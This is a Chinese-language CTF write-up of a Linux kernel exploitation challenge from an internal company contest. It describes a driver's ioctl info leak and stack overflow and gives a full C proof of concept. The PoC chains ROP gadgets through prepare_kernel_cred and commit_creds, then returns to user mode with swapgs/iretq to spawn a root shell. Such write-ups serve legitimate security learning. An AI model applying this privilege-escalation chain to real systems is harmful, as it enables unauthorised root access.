某公司内部ctf 一道linux kernel pwn writeup

之前师兄给了xx公司内部ctf的一些题目,pwn题真的好难……以至于我唯一能做出来的,只有这道内核pwn了……

因为避免泄密之类的,程序的代码我也不po上来了

大概描述一下驱动的功能

交互都使用ioctl

有两个功能

  1. 读取
  2. 输入

读取那里可以leak出内核base,canary

输入那里会读到栈上,不过会和一些东西异或,这里东西也是固定的所以可以leak出来

然后输入有一个栈溢出,溢出之后就可以rop

用extract_vmlinux提取了一下vmlinux,搜了一波gadgets

然后开始rop,但是这题做了我大概4 5个小时,原因是gadgets太坑爹…..

下面是poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
long long buf[0x100];
long long pay[0x100];
char box[0x200];
long long data[2];

void load_box()
{
int t=open("box",0);
read(t,box,0x200);
close(t);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void binsh()
{
printf("here comes your shell\n");
system("/bin/sh");
}

int main()
{
save_status();
load_box();
int fd=open("/dev/baby",0);
data[0]=buf;
data[1]=0x200;
ioctl(fd,1024,data);

void* base=buf[31]-0x338563;
void* swapgs=base+0xa1fabb;
void* iretq=base+0x36bdbc;
void* prepare=base+0x84280;
void* commit_creds=base+0x83eb0;
void* prdi=base+0x2ed3cd;
void* mov_rsi_rax=base+0x8dcb2;
void* prdx=base+0x1ce52f;
void* push_rsi_call_rdx=base+0xe0aecb;
void* prdx_rdi=base+0x3c7acb;
void* prsi=base+0x1ce127;

pay[32]=buf[32];

int i=38;

pay[i++]=prdi;
pay[i++]=0;
pay[i++]=prepare;

pay[i++]=prsi;
pay[i++]=buf[34]-0x100;
pay[i++]=mov_rsi_rax;
pay[i++]=prdx;
pay[i++]=prdx_rdi;
pay[i++]=push_rsi_call_rdx;

pay[i++]=commit_creds;
pay[i++]=swapgs;
pay[i++]=0;
pay[i++]=iretq;
pay[i++]=(size_t)binsh;
pay[i++] = user_cs;
pay[i++] = user_rflags;
pay[i++] = user_sp;
pay[i++] = user_ss;

char* t=pay;
for(int i=0;i<0x200;i++)
t[i]^=box[i];
data[0]=pay;
ioctl(fd,1337,data);

return 0;
}